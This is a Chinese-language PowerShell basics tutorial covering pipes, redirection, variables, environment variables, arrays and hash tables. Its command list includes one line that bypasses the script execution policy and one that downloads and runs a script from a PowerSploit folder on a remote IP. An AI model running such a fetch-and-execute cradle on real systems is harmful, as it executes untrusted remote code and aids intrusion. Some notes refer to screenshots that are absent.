windows powershell基礎
目錄:
1.管道和重定向
2.指令執行
3.變量
4.數組和哈希表 #@()建立數組,使用","把每個值分隔開,@{}建立哈希表,用";"把每個值分隔開
5.常用指令
get-help 檢視幫助
get-command 查詢指令
get-member 檢視對象的成員資訊
get-verb 擷取所有動詞
get-content 或者type 檢視内容
$psversiontable 檢視powershell版本
ls env: 檢視所有環境變量
ls alias: 或者get-alias 檢視所有的别名
get-executionpolicy 檢視腳本執行政策
set-executionpolicy bypass 設定可以執行腳本
. ./test1.ps1 把test1.ps1加載到記憶體 注意兩個點之間有一個空格
iex(New-Object Net.Webclient).DownloadString('http://10.10.10.132/PowerSploit-master/xx.ps1') iex遠端下載下傳腳本執行
在字元串前面加"&",可以執行指令或者啟動程式
Powershell 是運作在windows機器上實作系統和應用程式管理自動化的指令行腳本環境。你可以把它看成是指令行提示符cmd.exe的擴充
powershell指令和參數不區分大小寫
1.1管道 #把上一條指令的輸出作為下一條指令的輸入

注:通過ls擷取目前目錄的所有檔案資訊,然後通過sort-object 排序,預設升序
1.2重定向 #把指令的輸出儲存到檔案中,‘>’為覆寫,’>>’追加
注:檢視内容可以通過type或者get-content檢視
2.Powershell 檢視可以執行的cmd指令(cmd /c help )
3.1變量
在powershell中變量名均是以美元符”$”開始,剩餘字元可以是數字、字母、下劃線的任意字元,并且powershell變量名大小寫不敏感($a和$A 是同一個變量)
powershell一切皆對象,變量也是對象,通過$str(變量名) | get-member 檢視變量所擁有的屬性以及方法
檢視正在使用的變量 ls variable:
windows powershell基礎
3.2環境變量
Powershell把所有環境變量的記錄儲存在env: 虛拟驅動中,是以可以列出所有環境變量 。一旦查出環境變量的名字就可以使用$env:name 通路了。
注:通過查找所有環境變量可以得到計算機名,目前所屬域的域名,使用者名等等
通過$env:屬性名通路
4.1數組
1.指令傳回數組 #當我們把一個指令的執行結果儲存到一個變量中,可能會認為變量存放的是純文字。
但是,事實上Powershell會把文本按每一行作為元素存為數組
2.建立數組:
在Powershell中建立數組可以使用逗号,建立空數組使用@()
3.通路、添加數組: #添加數組使用"+="
4.2哈希表
1.建立哈希表
之前使用@()建立數組,現在使用@{}建立哈希表,用";"把每個值分隔開,使用哈希表的鍵通路對應的值
2.修改、增加、删除哈希表
------------------------------------------------------------------------------------------------------------------
詳細請參考:powershell線上教程:https://www.pstips.net/powershell-online-tutorials